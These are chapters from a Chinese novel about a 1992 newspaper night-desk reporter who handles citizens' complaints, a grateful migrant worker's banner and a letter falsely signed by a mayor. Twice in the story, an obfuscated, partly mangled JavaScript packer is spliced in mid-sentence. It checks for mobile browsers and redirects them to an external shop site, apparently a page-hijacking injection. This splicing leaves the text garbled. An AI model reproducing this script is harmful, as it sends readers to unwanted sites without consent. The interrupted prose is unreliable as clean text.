陈秉烛给瓦房街派出所挂了电话,那头传来混着哈欠的声音:“让他滚过来,所里给他断。”醉汉听了,嘴里不清不楚地骂咧着,骑上他那辆除了铃不响哪儿都响的自行车,歪歪扭扭,像一条蚯蚓,钻进了夜的肠子。 “这路人,”陈秉烛对叶葆启说,“不敢碰硬茬,专捡软柿子捏。你越当真,他越上脸。得找个他骨子里怵的——那身制服。” 叶葆启点点头。他想起公交车上那些灌饱了黄汤的乘客,老师傅们都说:“甭搭茬,到地方开门,让夜风醒他的脑。” 凌晨四点,城市睡到了最死沉的时候。炉火弱了,幽蓝变成暗红,最后只剩一炉膛将死不死的灰烬,散着微弱的暖气。陈秉烛把军大衣裹紧,那大衣颜色洗得发白,肘部磨得油亮,他靠在椅背上,眼皮耷拉下来,仿佛也成了这老旧办公室的一件摆设。 叶葆启却毫无睡意。他望着窗外那锅底般倒扣的、深蓝近黑的天穹,刘清那张白脸和红唇,总在眼前晃。她为何要认那八竿子打不着的亲?是为了扯虎皮壮胆,还是在她自个儿那混沌的天地里,她真真儿就是“赵四小姐的侄女”? 电话铃又割破了寂静。这回是个老太太,声音干瘪得像秋风里的落叶:“记者同志……我听见鸡叫了。” “鸡叫?” “是哩,鸡叫!都四更天了,鸡不该醒啊!”老太太的声音透着惶惑,“你们得管管,这鸡天天这时辰打鸣,我还活不活了?” 叶葆启问清,是海西区一家幼儿园,养了几只从云南来的野鸡。他应承明日去说道,老太太才千恩万谢,那谢意通过电话线传过来,也带着枯叶般的窸窣声。 放下话筒,叶葆启冲着假寐的陈秉烛苦笑:“鸡打鸣,也归咱管?” “管。”陈秉烛眼没睁,声音从大衣领子里闷闷地传出,“老百姓心里结了疙瘩,那就是事儿。咱的活计,就是把这些鸡毛蒜皮,一桩桩、一件件,捋平了,熨帖了。都顺了,夜里才能有个安稳觉。” 天将亮未亮时,叶葆启终于扛不住,头一沉,伏在案上睡着了。他梦见自己还在那辆哐当作响的公交车上卖票,车厢里挤得密不透风,每个人都举着一封信,信纸在浑浊的空气里翻飞如雪片,无数张嘴巴开合,喊着同一句话:“记者同志,瞅瞅我的冤屈!” 醒来时,晨光已如淡金色的潮水,从窗户漫进来。陈秉烛在整理那一夜积下的记录本,见他醒了,说:“回吧,迷瞪会儿,下半晌再来。” 叶葆启站起来,腿脚麻得如同千万只蚂蚁在啃噬。他翻了翻记录本,七页纸,密密麻麻,写满了这座城市的呓语、呻吟与嚎叫。 “这么多愁,这么多怨,”他喃喃,“解得完么?” “尽心。”陈秉烛把本子码齐,动作轻缓,“解一桩,是一桩。记者不是菩萨,但可以是一座桥,让两边的话能过;是一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904154|192343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个喇叭,让小的声变大;是一双眼,替很多人去看他们看不到的边边角角。” 走出报社大楼,早晨的空气清冽如刀,割在脸上生疼。早点摊的油锅已经沸了,油条在里面翻滚膨胀,散发出一种粗粝而真实的香气。叶葆启买了两根,用旧报纸裹着,一边走一边啃。那滚烫的、带着油腥味的踏实感,顺着食道落进胃里,才让他感觉自己真真切切地从那个光怪陆离的夜晚回来了。 回到平安胡同,素琴正在院子里生炉子。劣质煤球冒出浓黄带黑的烟,从各家各户低矮的屋檐上挣扎着升起,在胡同上方拧成一片沉甸甸的、化不开的雾霭。 “回了?”素琴抬头,鼻尖上蹭了道煤灰,显得有点滑稽,“一宿没合眼吧?赶紧炕上歪着去。” “不困。”叶葆启搬过个小马扎坐下,接过素琴手里的破蒲扇,对着炉口一下一下地扇。火苗渐渐旺了,红彤彤地映着他俩的脸。“昨夜里,见识了各路神仙。” 他把刘清的事儿当笑话讲了。素琴听了,用火钳子拨拉着煤块,噗嗤乐了:“赵四小姐的侄女?她咋不说自己是慈禧太后的干闺女?我在街道上,这类人见多了,日子过得憋屈,心里那点念想发了酵,就给自己编一身金灿灿的衣裳披上,吓唬别人,也哄着自己。” “陈主任说,衣裳是真是假不论,底下裹着的难受,得当回事。” “是这话。”素琴把馒头搁在炉圈上,白面渐渐烙出焦黄的脆皮,“人活一口气,树活一张皮。有时候扯谎,是因为真话掉在地上,连个响儿都听不见。” 小舟揉着眼睛从屋里出来,看见叶葆启,趿拉着鞋扑过来:“爸爸,你昨天又去听鬼故事了?”(在孩子心里,夜班和神秘故事画了等号) “嗯,”叶葆启抱起儿子,沉甸甸的,是生活的秤砣,“爸爸以后夜里常去听故事,不能搂着你睡了。” “没事儿,”小舟搂住他脖子,热气喷在他耳根,“妈妈讲孙悟空,比鬼故事好听。” 吃了早饭,叶葆启躺到床上。被窝里还留着素琴的体温和一股淡淡的肥皂味儿。他闭上眼,可夜间记者站的一切,却更清晰地压了上来:那盏绿眼似的台灯,那部红得刺心的电话,煤炉里幽幽的蓝火,陈秉烛岩石般的侧脸,刘清那两片剧烈开合、如同伤口般的红唇,醉汉溶入夜色的、软体动物般的背影…… 这些画面不再是画面,它们有了重量,有了气味,有了声音,沉甸甸地压在他的眼睑上,流淌在他的血液里。他想,这便是记者要打捞的生活——荒诞底下压着真实,琐碎背后站着沉重,所有的啼哭、咒骂、哀求与狂想,共同构成了这座庞大城市在夜幕遮蔽下,那深重而潮热的呼吸。 沉入睡眠的前一刻,一个模糊的念头像水底的泡泡般浮起:今晚,那部电话还会响起。不知又会从深渊里,钓起怎样一个湿漉漉的、带着夜露与泪水的灵魂。 阳光透过旧窗棂,在他脸上切出明暗交错的光斑。他翻了个身,把脸埋进残留着妻子气息的枕头,终于沉入了无梦的黑暗。 而在城市另一头,陈秉烛已悄无声息地推开自家的房门。女儿趴在书桌上睡着了,脸颊压着摊开的数学卷子,钢笔滚落在一旁,笔尖在草稿纸上留下一团凌乱的蓝。他拿起椅背上搭着的外套,轻轻披在女儿单薄的肩上。 女孩儿在睡梦里咂了咂嘴,没醒。 陈秉烛在门口站了一会儿,看着女儿随着呼吸微微起伏的脊背,然后转身去了厨房。灶台上扣着一碗小米粥,旁边一小碟酱疙瘩。他默默喝了粥,就着咸菜,粥已凉透,喝下去一路沉到胃底。他用冷水抹了把脸,冰冷刺骨,驱散了最后一点疲乏的幻影,又轻轻带上门,走了出去——上午,报社还有个关于“民生报道底线”的会,等着他。 这便是记者生涯的开端:在黑夜的河流里,打捞他人沉浮的故事;在白昼的尘埃中,跋涉自己琐碎的人生。两个世界在晨昏交替的暧昧时分短暂交叠,随即又沿着各自的轨道,轰然向前。 叶葆启被胡同里收破烂的吆喝声吵醒时,已是下午两点。素琴去了街道办,小舟在隔壁家看《葫芦娃》。桌上扣着饭菜:一碟油光光的炒土豆丝,两个大白馒头,底下压着张纸条:“笼屉里热着吃。” 他吃了饭,坐在那张吱呀作响的写字桌前,翻开那个塑料皮笔记本。新的一页,他写下: “一九九二年,十月二十日。首个夜班。拾得三味: 一、百姓无小事,小事是她们的天。 二、耳朵要聋,真的假的,都先收着。 三、记者是桥,让人过;是耳,让人说;不是官,不判案。” 想了想,他又用力添上一行,笔尖几乎划破纸背: “陈秉烛,是一座走得动的老桥。” 合上本子,它发出轻微的“啪”的一声。他摸摸胸口内兜,那份调令还在,纸张被体温熨得柔软,边缘甚至有些毛了,像一颗沉默地跳动了许多个时辰的心脏。 该去报社了。他穿上外套,推门走入胡同。夕阳正好,懒懒地斜照下来,把老墙上斑驳的标语染成金色。那几棵高大的法国梧桐,叶子黄得灿烂,风一过,哗啦啦一阵响,像是无数只金色的手掌在鼓掌。 他抬起头,眯着眼看了看西边那颗温吞吞的太阳。然后,迈开步子,朝着解放北路,朝着那个即将再次被夜色和铃声填满的小屋,稳稳地走去。 夜晚还在那里,亘古不变。那些蛰伏在霓虹灯照不到的角落里的声音,那些渴望被看见、被记住的悲欢,早已在渐浓的暮色中,伸出了它们无形的手。 而他,终于觉得,自己好像能听懂一些了。 3. 第003章 锦旗风波 第003章锦旗风波 十一月的內海,风已经淬出了刀刃的硬度。它刮过浑河的水面,那河水便皱起一层层细密而顽固的纹路,像极了被岁月反复揉搓过的老牛皮,又像无数张翕动着的、无声申诉的嘴。梧桐叶子早已落尽,赤条条的枝桠戟指灰白的天穹,像千万只从地底挣扎伸出的、焦渴枯瘦的手,要抓住些什么,却什么也抓不住,只空荡荡地划拉着凝滞的空气。 叶葆启的昼夜已然颠倒。半个多月的夜班,把他的生物钟拧成了一根反向的发条。白日里睡眠浅薄,仿佛总隔着一层毛玻璃看世界;一入夜,眼耳口鼻却异常清明起来,能听见电话铃在响起前那半秒的电流嗡鸣,能看见煤炉火焰每一次颜色细微的转变。素琴说他“快修成夜游神了”,小舟却欢喜——爸爸白天在,可以把他扛在肩头,去看胡同口那棵老槐树上最后一片叶子何时落下。 这天下午,日头西斜,光线昏黄如隔夜的茶汤。叶葆启刚从那稀薄而不踏实的睡眠中浮起,坐在用碎砖垒砌的、仅容转身的小厨房里,喝一碗小米粥。粥是素琴天不亮时熬的,此刻表面凝了一层厚厚的“米油”,像一块温润柔腻的玉膏。他就着几根乌黑咸韧的酱黄瓜,呼噜噜喝下去,那暖意顺着喉管一路沉坠,熨帖了空荡了一夜的腑脏,也似乎唤醒了他蛰伏在白昼的魂灵。 “葆启哥——在家不?”院墙外传来一声喊,带着生硬的西北腔调,像块粗粝的石头投入这昏沉的午后。 叶葆启撂下碗,掀起那扇用旧棉被改成的厚门帘。院子里站着个后生,二十出头,个头敦实,皮肤是长年风吹日晒沉淀下的黑红,像一块浸透了汗与尘的土地。他穿着件洗得发白、肘部磨出毛边的蓝色工装,双手捧着一个用红布仔细包裹的物件,那红色在萧索的院落里,扎眼得像一滴骤然涌出的血。 “你是……?”叶葆启在记忆里打捞。 “叶记者!我是小郭,郭熠轩!从甘肃来,在建筑队扛活的那个!上次,您帮我从黑心老板手里,把工钱抠出来的那个!”年轻人激动地往前凑了一步,眼珠子亮得灼人。 叶葆启的记忆被点亮了。约莫十天前那个湿冷的夜,就是这个年轻人,带着一身灰土和眼角未干的血痂闯进记者站,眼睛红得像两粒燃烧的煤核,说包工头赖账,还诬他偷了一件半旧的红毛衣,让保安一拳捣在眼眶上。叶葆启当时对着那部红色的电话,拨通了劳动监察,又串联了派出所,声音在烟雾里绷得像一根快断的弦。那夜似乎格外漫长,直到凌晨三点,电话那头的咆哮才变成了不情不愿的妥协。 “是你啊。”叶葆启把门帘掀得更高,冷风趁机钻进来,打了个旋儿,“进屋,外头站久了,骨头缝都进风。” 郭熠轩侧身挤进小屋。十六平米,一张双人木床便塞得满满当当,床单是洗褪了色的牡丹花样。靠窗的旧写字桌上,摊着采访本和一支英雄牌钢笔。墙上贴着一张年画,一只斑斓猛虎踞于山岩,下方四个字:“虎虎生威”。那是去年为属虎的小舟买的,虎的额头已被潮气洇得有些模糊。 “坐,坐下说话。”叶葆启挪过屋里唯一那把还算稳当的木头椅子。 郭熠轩没坐。他把那红布包郑重地、近乎虔诚地放在桌上,像进行某种古老的仪式,然后伸出粗粝的手指,一层一层,缓慢地解开。红布褪去,露出一面锦旗。红绸底子,沉甸甸的,边缘缀着金黄的流苏,那流苏有些凌乱,仿佛编织时带着急切的心跳。最扎眼的是上面绣的字,金线盘绕,在昏暗的光线下闪着一种钝拙而执拗的光。 叶葆启接过来,展开。目光触及那两行字时,他怔住了,仿佛被那金线的光芒刺了一下。 “爱国主正义,敢斗旧官吏”。 “这……”叶葆启抬头,看向郭熠轩。后生的脸上混合着期盼、自豪,还有一丝不易察觉的、终于能“报答”的释然。 “我寻了街口做牌匾的老王头,央他绣的,”郭熠轩搓着手,手上皴裂的口子像干涸土地的缝隙,“绣了整整一个白天哩!这字……是俺自个儿想的。您替俺们这号人出头,跟那些……那些旧时候喝人血的老爷斗,不就是……” “打住。”叶葆启打断他,声音不大,却让屋里的空气凝了凝。他将锦旗对折,再对折,那耀眼的红色和金线被收敛起来,“小马,你的心意,我领了。但这旗子,我不能挂。” “为……为啥?”郭熠轩愣住了,黑红的脸膛上那点光采瞬间黯淡下去,像是油灯被猛地抽走了灯芯。 “头一桩,我没做啥了不得的事,就是拨了几个电话,说了几句话。这是记者的本分,就像你扛水泥是建筑工的本分。”叶葆启语速平缓,却字字清晰,“第二桩,这字,写岔了。哪来的‘旧官吏’?如今是新社会,干部队伍里,绝大多数是好的,是为老百姓办事的。你这旗子一挂,旁人看了,心里咋想?舌头根子底下,又能压出多少是非?” 郭熠轩的脸涨成了猪肝色,脖颈上的青筋微微凸起:“可……可那个黑心老板,他姐夫,就在街道办事处坐着啊!他们……” “那是个别人,是疖子,不是全部。”叶葆启将叠好的锦旗塞回他手中,触感冰凉而滑腻,“拿回去,改了吧。” “改……咋改?”郭熠轩的声音有些发干,捧着锦旗的手微微发抖。 叶葆启沉默了片刻,目光投向窗外那棵在风里瑟缩的槐树,几只灰雀蹦跳着,忽而又惊飞,散落几片最后的枯叶。“‘爱国主正义’这句,留着。后面那句……”他转回脸,“改成‘为民解忧愁’吧。” 郭熠轩站着不动,像是脚下生了根。忽然,他眼圈毫无征兆地红了,那红迅速弥漫,衬得他黝黑的脸膛有种说不出的悲怆。大颗的泪珠子毫无阻拦地滚下来,砸在工装前襟上,洇出深色的斑点。 “这……这是怎么话说的?”叶葆启有些无措。 “叶记者……”郭熠轩的声音哽咽得厉害,每个字都像是从胸腔里挤出来的,“我在内海,飘了三年了。工钱被卷跑过,腿让钢筋划开大口子没人管过,睡工棚,冬天冷得骨头缝里撒盐,夏天热得跟蒸笼似的……您是头一个,真把俺的事当事,真给俺办成了的。这旗子……俺是掏了心窝子绣的……” 叶葆启心里那根绷着的弦,被这滚烫的泪水猛地一烫,软了下去。他走到窗边,摸出烟盒,是陈秉烛给的“恒大”,烟味冲,能压住很多东西。他点了一支,深吸一口,烟雾模糊了窗外的景色。胡同悠长,电线交错,像一张巨大的、灰色的网。 “小马,”他转过身,烟雾在他脸前盘旋,“旗子,我收下。但字,一定得改。你去找老王头,改好了,再送来。” 郭熠轩抬起泪眼,那里面重新燃起一点希冀的火星:“真……真的?” “真的。” “俺这就去改!”郭熠轩把锦旗往怀里一揣,紧紧抱住,转身就要冲出门去。 “等等。”叶葆启叫住他,“你那只眼,还疼不?” “不疼了,早不疼了!”郭熠轩使劲眨了眨眼,那眼眶周围还残留着淡淡的青黄,“就是看东西久了,有点花,像蒙了层兔子毛。” “往后遇着事,别闷着头硬撞。该找劳动局找劳动局,该寻警察寻警察。记下了?” “记下了!记瓷实了!”郭熠轩深深鞠了一躬,腰弯得很低,然后像一枚出膛的炮弹,冲进了胡同深秋干冷的风里。 叶葆启继续抽着烟,看着那身影消失的拐角。烟灰积了长长一截,他忘了弹。 素琴挎着菜篮子回来时,正看见他对着窗外发呆。“刚才谁来过了?院门外像是有人声。”她放下篮子,里面是一棵结实硕大的青口白菜。 “一个打工的后生,来送锦旗。”叶葆启掐灭烟头。 “锦旗?”素琴的眼睛亮了一下,那是普通人对于“荣誉”最直接的反应,“好事啊!挂哪儿?我这就找锤子钉子。” “别忙,”叶葆启苦笑一下,那笑容里有些无奈,“旗子上的字,写的是‘敢斗旧官吏’,我给退回去了。” 素琴愣住了,随即“噗”地笑出声,笑着笑着又叹了口气:“这人……胆子倒肥。不过也难怪,老百姓受了憋屈,看在眼里的,可不就是跟前那几个‘官’?就觉得天下乌鸦……” “所以不能收。”叶葆启蹲下身,帮着择白菜。老帮子一层层剥开,露出里面嫩黄的芯,“收了,就像是认了他那理儿。可实情不是那样。我打电话过去,劳动监察的人半夜从被窝里爬起来处理。街道那个主任,听说还吃了挂落。” 素琴掰着白菜叶,动作麻利,发出清脆的断裂声:“葆启,你这人,轴。人家是谢你,心意到了不就行了?字儿是死的,人心是活的。” “字儿是活的。”叶葆启抬起头,看着妻子,“记者是干啥的?是记事的,也是引路的。要是自个儿先分不清个东南西北,还咋给人指道儿?” 素琴不说话了,只是看着他,目光复杂。看了好一阵,才轻声说:“你这脾气,跟你爹,是一个模子磕出来的。” 叶葆启父亲走的那年,厂里要评“先进工作者”,能给家属多换两百块的抚恤金。叶葆启去领表格,看见事迹材料里写着父亲“肝癌晚期仍坚守岗位,高风亮节”。他当场就把那几页纸撕了,碎片雪片似的落在工会办公室的水泥地上。“我爸最后那几个月,疼得撞墙,整宿整宿哼不出来,怎么坚守?你们这是往死人脸上贴金,还是往活人心里捅刀子?” 领导拍桌子:“这不都是为了你们家好?多两百块,能办多少事!”叶葆启梗着脖子:“这‘好’,我们受不起。我爸一辈子干净,走也得走得干净。” 最后自然没评上。母亲哭了又哭,骂他傻,骂他不懂事。可后来,父亲几个老战友来送行,听说了这事,一个头发花白的老头用力拍着他肩膀,手很重,拍得他生疼:“小子,像你老子!你老子当年在朝鲜,美国人的罐头扔过来,看都不看一脚踢沟里去!糖衣?炮弹?他分得门儿清!” 那天晚上,叶葆启去值夜班。出门前,小舟扯着他衣角问:“爸爸,锦旗是啥?” “就是一块红布,上头拿金线绣上字,送给帮了大忙的人。” “那你为啥不要?” “因为上头绣的字,不对。” “不对,擦掉重绣不就行了?” 叶葆启蹲下来,摸摸儿子细软的头发:“有些字,能擦掉重来。有些字,一开始就不能往上写。” 小舟眨了眨黑葡萄似的眼睛,似懂非懂。 夜里十点,郭熠轩又来了。寒风把他裹挟进来,带着一股子室外凛冽的生铁味儿。他怀里依旧抱着那个红布包,这次解开,上面的字果然变了:“爱国主正义,为民解忧愁。”金线在红绸上蜿蜒,比之前工整了些,却依旧带着一股执拗的、民间手工艺的笨拙力量。 “叶记者,您瞅瞅,这样中不?”郭熠轩小心翼翼,像捧着一件易碎的瓷器。 叶葆启接过来,就着昏黄的灯光仔细看了一遍,点点头:“中。” 这个“中”字刚落地,郭熠轩“扑通”一声,直挺挺地跪在了水泥地上。膝盖骨撞击地面,发出沉闷结实的声响。 “哎!你这是干啥!快起来!”叶葆启吓了一跳,慌忙伸手去拽。 “叶记者!您一定得让俺磕这个头!”郭熠轩不肯起,声音带着哭腔,头已经低了下去,“在俺们陇西老家,给大恩人送匾送旗,得跪着敬上,这是老辈子传下的规矩!不这么着,心意不到,菩萨都不收!” 陈秉烛从里间撩开门帘出来,手里还拿着校对用的红笔,看见这情景,脸上皱纹舒展,笑了笑:“葆启,收下吧。这不是给你的,是给‘规矩’的,是给‘心意’的。” 叶葆启只好接过那面似乎陡然变得千斤重的锦旗。郭熠轩这才爬起来,拍了拍膝盖上的灰土,咧开嘴笑了,那笑容憨厚,灿烂,照亮了他风尘仆仆的脸。 “活计有着落了?”叶葆启问。 “有!有!”郭熠轩忙不迭点头,“在海东区一个新楼盘当保安,管吃管住,一月三百五十块!那老板听说了俺的事,还多塞给俺五十,说是‘安家费’!” “那就好。”叶葆启拉开抽屉,拿出那包“恒大”,“抽一根?” “不不不,”郭熠轩连连摆手,“俺不会这个。走了走了,不耽误您办正事。” 走到门口,他又转回身,很认真地说:“叶记者,等俺头个月工钱发下来,俺请您下馆子!吃羊肉泡馍!” “不用破费,把日子过稳当,比啥都强。” 郭熠轩走了,脚步声在空旷的走廊里回荡,渐渐被夜晚吸收。叶葆启拿着那面锦旗,一时不知该往哪儿放。陈秉烛接过去,走到墙边。那里已经挂着两面旧锦旗,边缘的流苏有些磨损。他找了一颗钉子,将新的这面也挂了上去。三面红旗并排,在灯光下静默着,像三张沉默而殷红的嘴,诉说着三个已然过去、却并未消失的故事。 “第三面了。”陈秉烛退后一步,眯眼打量着,“葆启,你干得不赖。” “就是打了个电话。”叶葆启重复道。 “打电话的指头容易动,”陈秉烛坐回他那张漆皮斑驳的旧藤椅,椅子发出不堪重负的呻吟,“肯为不相干的人动那根指头的心,难找。你能管,说明心里那盏灯,油还足,芯还没黑。” 叶葆启没接话,只是看着墙上。红绸子微微拂动,黄流苏轻轻摇晃。“为民解忧愁”五个字,金线在光影里明明灭灭,仿佛有了呼吸。 电话铃骤响。是海西区一个老太太,声音苍老得像磨损的砂纸,说楼上水管漏了,她家天花板成了水帘洞,找居委会,说管不了;找房管站,说等天明。叶葆启记录,然后拨通房管局夜间值班电话。对方声音透着浓重的睡意和不耐,但听说是夜间记者站,那不耐烦压下去几分,答应“明天一早派人瞅瞅”。 撂下电话,陈秉烛说:“瞧,这就是‘解忧愁’。老太太今晚心里那块石头,算是暂时落地了。能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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凌晨四点,叶葆启伏在案上沉沉睡去。醒来时,天光已是蟹壳青。陈秉烛用火钳夹着馒头在炉口烤着,焦香混着煤烟味。见他醒了,递过一个:“趁热,垫巴点,压压寒气。” 馒头烤得金黄酥脆,内里却暄软。叶葆启就着咸菜疙瘩,大口吃着,额角渗出细汗。 “葆启,”陈秉烛忽然开口,眼睛望着窗外那正一丝丝被抽走的黑暗,“你儿子,几岁了?” “五岁,属虎的。” “好生陪他长。”陈秉烛的声音有些飘忽,像从很远的地方传来,“干咱这营生,最对不住的,就是屋里人。我闺女小时候,我总不在。眼下她大了,跟她妈亲,跟我……隔着层客气。” 叶葆启点点头,嘴里的馒头忽然有些咽不下去。 下班走回胡同时,天已大亮。生活的浊流重新涌动起来。自行车铃叮当作响,上班的人流面色匆匆,早点摊的油锅沸腾着,炸油条的汉子赤着胳膊,油星四溅。这是活生生的、嘈杂的、带着各种气味的人间。 到家,素琴正系着头巾要出门。“醒了?粥在锅里温着。”她说。 “去哪儿?” “街道办,开计划生育的会,耳朵又要起茧子。”素琴整理着袖口,“对了,早上天刚麻麻亮,小马又来了一趟。” “他又来了?” “没进屋,在院门墩儿边放了袋东西。”素琴朝桌下一努嘴,“我追出去让他拿回去,他跑得那叫一个快,一溜烟就没影了。” 叶葆启弯腰看去,果然是一个红色的网兜,里面挤挤挨挨装着十几个苹果,红富士,个个饱满圆润,像一张张冻红了的脸庞。 “这孩子……”他摇摇头,心里那股暖流却又涌上来,混着酸涩。 “收下吧。”素琴的声音柔和下来,“你不收,他那份心,没个着落,更难受。” 素琴走了。叶葆启洗了一个苹果,咔嚓咬下去。汁水丰沛,清甜凛冽,瞬间盈满口腔,顺着嘴角溢出一点。他用手背抹去,那凉津津的甜意,却似乎一路滑进了心里。 小舟光着脚丫跑出来,扑到他腿上:“爸爸!” “鞋呢?”叶葆启一把抱起他。 “苹果!红果果!”小舟的眼睛盯住了网兜。 叶葆启拿刀削皮,苹果皮连绵不断垂下来,像一条淡黄色的彩带。他把苹果切成小块,盛在搪瓷碗里。小舟用胖乎乎的手指捏着吃,汁水涂了满脸,像只偷吃成功的小花猫。 “爸爸,”小舟嘴里塞得鼓鼓囊囊,“送红果果的叔叔,就是送红布布的叔叔吗?” “是。” “他为啥送你红果果?” “因为爸爸……帮了他一个小忙。” “帮了啥忙?” 叶葆启想了想,找到一个孩子能理解的比喻:“有人想抢他的糖,爸爸说,不能抢。” 小舟用力点头,这个他懂:“抢东西是坏蛋!爸爸是好人!” 叶葆启笑了,摸摸他的头。 那天下午,叶葆启睡得异常沉实。梦里,他回到了那辆哐当作响的公交车上,车厢里挤得水泄不通,人们的脸在闷热的空气里浮动、变形。郭熠轩也在,还穿着那身工装,手里举着那面锦旗,锦旗忽然变得巨大无比,红绸像血浪般翻涌,上面的金字脱落下来,化作一个个闪光的秤砣,沉甸甸地压向每一个人……车猛一颠簸,到站了,门豁然洞开,人群无声地倾泻而出,融入外面白得刺眼的光里…… 醒来时,日头已经西斜,金红色的光瀑从窗格汹涌而入,将小屋染成一种温暖的、蜂蜜般的色泽。空气中浮动着细微的尘埃,在那光柱里缓缓舞动,像是时间的碎屑。 素琴在门外的小厨房里炒菜,油锅爆响,葱花和酱油的浓香霸道地弥漫开来。小舟在院子里和邻家孩子追逐笑闹,那笑声清脆、无忧,像一串串被风摇响的银铃。 叶葆启坐起身,在床沿发了会儿怔。然后起身,走到桌边,翻开那本软皮日记。在昨日那篇记载的末尾,他拿起笔,添上了一行: “苹果极甜。生活这杯苦酒里,偶尔泛起的一丝甜意,或许正是它让人留恋的全部理由。” 他合上本子。封皮被摩挲得有些发亮。他看向窗外。胡同里,家家户户的烟囱开始吐出青白的炊烟,那烟缕起初笔直,升到半空便被风吹散,融成一片氤氲的、温暖的雾霭,低低地笼罩在鳞次栉比的灰瓦屋顶之上。这是最寻常的人间烟火,混杂着煤球味、饭菜香、孩子的哭闹和大人的呵斥。这气味,这景象,此刻却让他心中涌起一种近乎悲壮的柔情——他想守护的,或许就是这琐碎、平凡、有时令人疲惫却又生生不息的一切。 夜晚终将再次君临,那部红色的电话会在寂静中再次嘶鸣,从城市的各个角落钓起新的悲欢、新的荒诞与新的重量。但此刻,在这白日将尽、灯火未起的短暂间隙里,在这被夕阳和炊烟共同浸泡的安宁中,他确确实实地触摸到了一种东西。 那东西,或许可以叫做“值得”。 4. 第004章 冒名来信 十一月的第三个周末,内海城迎来了一场诡谲的雨夹雪。那雪不是雪,倒像是天公撕碎了旧报纸的碎屑,混着冰凉的雨丝,黏黏糊糊地往下飘。路灯的光在湿漉漉的街道上晕开,流淌成一条条昏黄的河,河里偶尔泛起几个气泡,像是城市在睡梦中打出的嗝。 叶葆启值下半夜的班。夜里十一点推开报社大门时,陈秉烛正蹲在铁皮炉子前,用火钳拨弄煤块。炉膛里的火苗蓝汪汪的,映得他半边脸像庙里的泥塑。 “这鬼天,”陈秉烛的声音从炉火后面飘过来,“阴气钻进骨头缝,能把骨髓冻成冰碴子。” 叶葆启脱下雨衣。那是素琴去年冬天买的,军绿色,兜帽深得像口井。他记得素琴递给他时说:“夜里风硬,这衣裳能扛。”他当时笑她小题大做,如今雨水正顺着衣角往下滴,在地板上聚成一滩小小的湖。 “陈主任,您回吧。”叶葆启把雨衣挂在门后钉子上,钉子吱呀一声,像是叹了口气。 “不急。”陈秉烛从抽屉深处掏出一个玻璃瓶,瓶里的液体黄澄澄的,泡着几根人参须子,“老家捎来的高粱烧,喝口?驱邪。” 叶葆启摆手。他看见炉火在酒瓶上折射出跳跃的光斑,像一群金色的小鬼在跳舞。 陈秉烛也不劝,对着瓶口嘬了一小口,喉结上下滚动三回,才吐出一口白气:“这酒啊,是用我爹坟头的高粱酿的。他老人家在地下躺了三十年,根须扎得深,穗子长得旺。” 两人守着炉子不再说话。煤块在炉膛里噼啪作响,像是无数细小的骨头在断裂。电话像具沉默的尸体,从十一点到十二点,只痉挛般地响了一次——是个要找“内海市电影院”的,声音尖细得像耗子叫。陈秉烛说:“打错了。”对方却纠缠不休:“咋会错呢?我昨天还在这儿看过《画皮》。” 十二点整,陈秉烛起身,大衣抖落一片灰尘,在灯光下旋转飞舞,像微型沙尘暴。 “我走了,”他说,“后半夜阴气最重,什么怪事都可能爬出来。” “什么怪事?” 陈秉烛走到门口,手搭在门把上,回头时眼神幽深:“上个月这时候,有个叫何延辉的说看见了飞碟。非说那玩意儿在他家房顶转了三圈,落下些银色粉末,把他家老母鸡染成了蓝色。”他顿了顿,“我给了他三张稿纸,让他把经过写下来。他写得密密麻麻,连飞碟上的螺纹都数清了——三百六十五道,正好一年天数。” 门开了又合,冷风像条湿滑的蛇钻进来,绕着叶葆启的脚踝转了一圈。 屋里彻底静了。叶葆启翻开值班本,钢笔尖在纸上沙沙走动,像春蚕在啃食桑叶。他一笔一划地写,横平竖直——这是父亲教的:“字是人的魂,写歪了,魂就散了。”父亲说这话时正蹲在田埂上,用树枝在地上写自己的名字,写了一遍又一遍,直到名字深深刻进泥土里。 写完最后一笔,他抬头看窗。玻璃上凝结的水汽正在往下流淌,形成纵横交错的沟壑,像一张哭泣的脸。他伸手去擦,指尖触到一片冰凉。透过擦拭出的透明窟窿,他看见楼下街道空荡荡的,只有一盏路灯孤零零地站着,灯光在地上投出一个枯黄的光圈,像给某个看不见的东西画的牢。 凌晨一点,敲门声响起。 不是敲,是指甲在木头上抓挠的声音,窸窸窣窣,时断时续,像有什么东西在门外犹豫。 叶葆启起身,皮鞋踩在地板上发出空洞的回响。他拉开门——走廊里空无一人,只有声控灯发出滋滋的电流声,像是垂死者的喘息。 “谁?”他的声音在长廊里回荡,撞到墙壁又弹回来。 无人应答。 他探出半个身子。楼梯口的黑暗浓得像墨,厕所门上的油漆剥落了一大片,露出底下木头的本色,形状像一张扭曲的嘴。正要关门,余光瞥见门槛边有样东西——一个牛皮纸信封,静静地躺在那里,像片枯叶。 他弯腰捡起。信封没封口,边缘毛糙,像是被牙齿撕开的。上面用圆珠笔写了一行字:“记者同志收”。字迹歪斜稚拙,横不平竖不直,有的笔画描了又描,墨迹晕开成一个个蓝黑色的瘤子。 叶葆启关上门,回到炉子旁。火光把信封映得透明,他看见里面折叠的信纸透出的横格线条。抽出来一看,果然是作业本上撕下的纸,边缘锯齿参差,纸上还残留着橡皮擦拭的碎屑。 信的内容让他怔住了: “记者,海东区10经路施工扰民严重,晚上干到两三点,搅拌机声音太大,家里老人孩子睡不着。请你们马上到现场采访,明天登报。明天我看报。” 落款处三个字写得张牙舞爪,但依然能辨认: “市长 XXX” 市长的名字,像三枚生锈的钉子,钉在纸页右下角。 